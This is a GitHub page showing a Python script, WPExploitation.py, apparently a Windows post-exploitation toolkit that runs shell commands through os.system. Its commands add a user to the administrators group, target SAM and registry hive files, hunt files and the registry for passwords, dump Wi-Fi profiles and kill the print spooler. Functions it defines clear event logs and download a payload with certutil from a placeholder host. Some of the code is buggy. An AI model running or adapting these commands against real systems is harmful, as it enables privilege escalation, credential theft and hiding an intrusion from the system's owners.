-
Notifications
You must be signed in to change notification settings - Fork 0
/
WPExploitation.py
137 lines (100 loc) · 4.32 KB
/
WPExploitation.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import os
def user():
CmdList=(
'echo %username%', 'whoami /all', 'net user', 'net user netconn /add',
'net localgroup administrators netconn /add',
'net user netconn /del')
for UserCmd in CmdList:
try:
print('[+] User Commands')
os.system (UserCmd)
print("--------------------------------------------------------------------------------------------")
except:
pass
def file_pull():
CmdList={
'%SYSTEMDRIVE%\\pagefile.sys', 'type %WINDIR%\\debug\\NetSetup.log', '%WINDIR%\\Repair\\sam', '%WINDIR%\\Repair\\system',
'%WINDIR%\\Repair\\software, %WINDIR%\\Repair\\security',
'%WINDIR%\\iis6.log', 'type %WINDIR%\\system32\\config\\AppEvent.Evt', '%WINDIR%\\system32\\config\\SecEvent.Evt',
'%WINDIR%\\system32\\config\\default.sav',
'%WINDIR%\\system32\\config\\security.sav', '%WINDIR%\\system32\\config\\software.sav',
'%WINDIR%\\system32\\CCM\\logs\\*.log',
'%USERPROFILE%\\Ntuser.dat', '%USERPROFILE%\\LocalS~1\\Tempor~1\\Content.IE5\\index.dat',
'type %WINDIR%\\System32\\drivers\\etc\\hosts'}
for FileCmd in CmdList:
try:
print('[+] File Commands')
os.system (FileCmd)
print("--------------------------------------------------------------------------------------------")
except:
pass
def host_info():
CmdList={'systeminfo', 'driverquery','tasklist','fsutil fsinfo drives','set','qwinsta','net time','net file','net session','net use'}
for FileHost in CmdList:
try:
print('[+] Host Commands')
os.system(FileHost)
print("--------------------------------------------------------------------------------------------")
except:
pass
def services():
CmdList={'sc queryex type= service state= all','netstat -ano', 'netstat -ano','sc query Spooler','sc start Spooler','sc stop Spooler'}
for serviceList in CmdList:
try:
print('[+] Services Commands')
os.system(serviceList)
print("--------------------------------------------------------------------------------------------")
except:
pass
def syslog():
CmdList = {'wevtutil el','taskkill /F /IM spoolsv.exe'}
for sysLog in CmdList:
try:
print('[+] SysLogs Commands')
os.system(sysLog)
print("--------------------------------------------------------------------------------------------")
except:
pass
def deletlog ():
try:
print('[+] Delete Commands')
os.system('del \*.log /a /s /q /f')
os.system('wevtutil cl System')
print("--------------------------------------------------------------------------------------------")
except:
pass
def searchkeywords():
CmdList = {'findstr /si pass *.xml *.ini *.txt','reg query HKLM /f pass /t REG_SZ /s','reg query HKCU /f pass /t REG_SZ /s'}
for SerchKey in CmdList:
try:
print('[+] Keywords Commands')
os.system(SerchKey)
print("--------------------------------------------------------------------------------------------")
except:
pass
def wifi():
try:
print('[+] Wifi Commands')
os.system('netsh wlan show profile > tmp/wireless.txt')
print("--------------------------------------------------------------------------------------------")
except:
pass
def installSof():
CmdList={'certutil.exe -urlcache -split -f "https://site.com/PROGAMA" SAIDA.EXE','wmic product get PRGRAMA /value','start SAIDA.TXT','wmic product where name="<NAME>" call uninstall /INTERACTIVE:OFF'}
for serviceList in CmdList:
i=i + 1
try:
print('[+] Software Commands')
os.system (serviceList)
print("--------------------------------------------------------------------------------------------")
except:
pass
def main():
user()
file_pull()
host_info()
services()
syslog()
searchkeywords()
wifi()
main()